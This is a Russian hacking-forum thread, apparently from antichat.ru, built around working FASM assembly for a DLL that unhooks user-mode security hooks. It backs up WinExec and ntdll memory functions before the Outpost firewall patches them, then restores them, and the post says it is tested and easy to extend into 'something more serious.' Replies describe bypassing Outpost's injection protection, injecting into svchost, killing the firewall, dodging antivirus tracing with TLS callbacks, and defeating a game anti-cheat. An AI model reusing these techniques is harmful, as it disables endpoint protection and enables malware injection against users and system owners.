[size=+1]Очень простой пример снятия хуков третьего кольца, с использованием DLL[/size] Язык: Ассемблере(fasm). Пояснение: Этот пример работает потому, что установщики хуков, обычно устанавливают их непосредственно перед точкой входа в программу, но загрузка и инициализация библиотек DLL, происходить ещё до запуска основной нити(ака Thread) процесса, так что мы разрешаем запись в эти функции, копируем их содержимое и разрешаем каму-попало устанавливать различные хуки, а когда они закончат, просто возьмём и восстановим всё как было. Код DLL: Code: format PE GUI 4.0 DLL entry DllEntryPoint include 'win32a.inc' section '.code' code readable executable proc DllEntryPoint uses edi, hinstDLL,fdwReason,lpvReserved mov edi, buffer stdcall BackUpProc, WinExec stdcall BackUpProc, ZwProtectVirtualMemory stdcall BackUpProc, ZwWriteVirtualMemory mov eax, TRUE ret endp proc BackUpProc uses esi ecx ebx, Original mov ebx, [Original] push edi mov edi, [ebx] mov al, 0x90 ; Getting proc size by first nop xor ecx, ecx mov cl, -1 repne scasb jne .Error not cl add ecx, 3 shr ecx, 2 pop edi mov esi, [ebx] mov [ebx], edi mov eax, ecx stosd mov eax, esi stosd lea ebx, [ecx*4] rep movsd invoke VirtualProtect, eax, ebx, PAGE_EXECUTE_READWRITE, tmp .Error: ret endp proc RestoreAll stdcall RestoreProc, ZwProtectVirtualMemory stdcall RestoreProc, ZwWriteVirtualMemory stdcall RestoreProc, WinExec ret endp proc RestoreProc uses esi, Backup mov esi, [Backup] mov esi, [esi] mov ecx, [esi] mov edi, [esi+4] add esi, 8 rep movsd ret endp section '.idata' import data readable writeable library ntdll,'NTDLL.DLL',\ kernel,'KERNEL32.DLL',\ user,'USER32.DLL' import ntdll,\ ZwProtectVirtualMemory,'ZwProtectVirtualMemory',\ ZwWriteVirtualMemory,'ZwWriteVirtualMemory' import kernel,\ WinExec,'WinExec',\ VirtualProtect,'VirtualProtect' section '.edata' export data readable export 'UNHOOK.DLL',\ RestoreAll,'RestoreAll' section '.resto' data readable writable buffer rd 1024 ; 1 page tmp dd ? section '.reloc' fixups data discardable Код примера вызова: Code: format PE GUI 4.0 entry start include 'win32a.inc' section '.code' code readable executable start: invoke MessageBoxA, 0, msg, tit, MB_YESNO cmp eax, IDYES jne .dont_restore call [RestoreAll] .dont_restore: invoke WinExec, cmd, SW_SHOW invoke ExitProcess, 0 cmd db 'C:\Program Files\Internet Explorer\IEXPLORE.EXE http://antichat.ru', 0 msg db 'Do you realy wonna take all the hooks off?', 0 tit db 'Do take it off?', 0 section '.idata' import data readable writeable library kernel,'KERNEL32.DLL',\ user,'USER32.DLL',\ unhook,'UNHOOK.DLL' import kernel,\ ExitProcess,'ExitProcess',\ WinExec,'WinExec' import user,\ MessageBoxA,'MessageBoxA' import unhook,\ RestoreAll,'RestoreAll' xxx dd ? yyy dd ? Данный пример снимает достаточно хуков для вызова эксплорера с адресом к командной строке, проверено на OutPost, его легко модифицировать и во что-нибудь более серьёзное, удачи...
Молодец, конечно. ЗЫ. Смотреть лень, оно снимает какие хуки-то? SetWindowsHookEx или перехват сплайсингом или чем еще.
Great, он спасается от сплайса. Dll инициализируется раньше запуска основного треда. Соответственно DllEntryPoint будет выполняться раньше точки входа и установщика хуков. Он бэкапит нужные функции. А когда начинает выполняться трэд он восстанавливает всё на место. ЗЫ: С таким же успехом можно было запихнуть бэкапщик в TLS
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory ZwCreateThread CreateRemoteThread и прочее, что препятствует инжекту в доверенный процесс. лично я обходил это след. образом: подгружал копию либы ntdll.dll , kernel32.dll и восстанавливал затёртые байты функций (там вначале функции идёт jmp на аутпостовскую либу). В итоге - полное молчание аутпоста даже на инжект в сервисхост.
все верно и красиво расписано. но истину мне это не открыло. стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю((( >> хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье
Это тоже не помешает, если перехватить её и записать что надо, куда надо во время создания процесса, т.к. она вызывается при это несколько раз и отутпост не имеет право ей мешать, пока процесс окончательно не закончит формирование параллельного.
Полный бред. аутпост СДТ не перехватывает. это может быть либо КАВ либо ещё что-то... Я даже прогу писал - убивает аутпост через инжект в него, затем ZwTerminateProcess(-1,0); Драйвер аутпосту нужен лишь для перехвата устройств \Tcp \Ip \Udp \RawIp. Хук на инжект ставится в третьем кольце. По крайней мерии, я тестировал на версии третьей и четвёртой версиях.
Вернемся к теме вот античит для линейки который ставит хуки на CreateThead. shieldConsole Как их снять воспользовавшись данным методом? За помощь +++++ )
для на4ала снять WinLicense на бинаре, декомпильнуть код из ВМ и изу4ать принцип работы, ибо единоразовым снятие хуков врядли думаю решится проблема а, вообще, тебе в раздел реверсинга...
Я так поняла, что на основе того, что специальное поле в PE-заголовке, хранящее относительный RVA Entry Point (точки входа) выполняется не первой, а последней. вот тут я немного не поняла, ты восстанавливал затертые байты, и прыжка на либу не происходило или ты вызывал "анхук". Поточнее пожалуйста, можно в ПМ. Лучше засунуть в точку входа безобидный код, а из TLS совершить переход. TLS просто добавит какое-то значение к некоторой ячейке памяти, в пределах области стека, а потом вернет управление системе. Таким образом можно в отладчике тонны инструкций перерыть или дождаться момента передачи управления на точку входа или хотя бы область памяти, не принадлежащую системе, но в границах PE-файла или одной из dll. И тогда можно заметить что Entry Point не получает управления! А аверы не могут трассировать код, исполняющийся на живой ОС. Так как они понятия не имеют что находится в данной конкретной ячейке памяти. В общем да, можно фантазировать сколько влезет ) hidden Спасибо за код.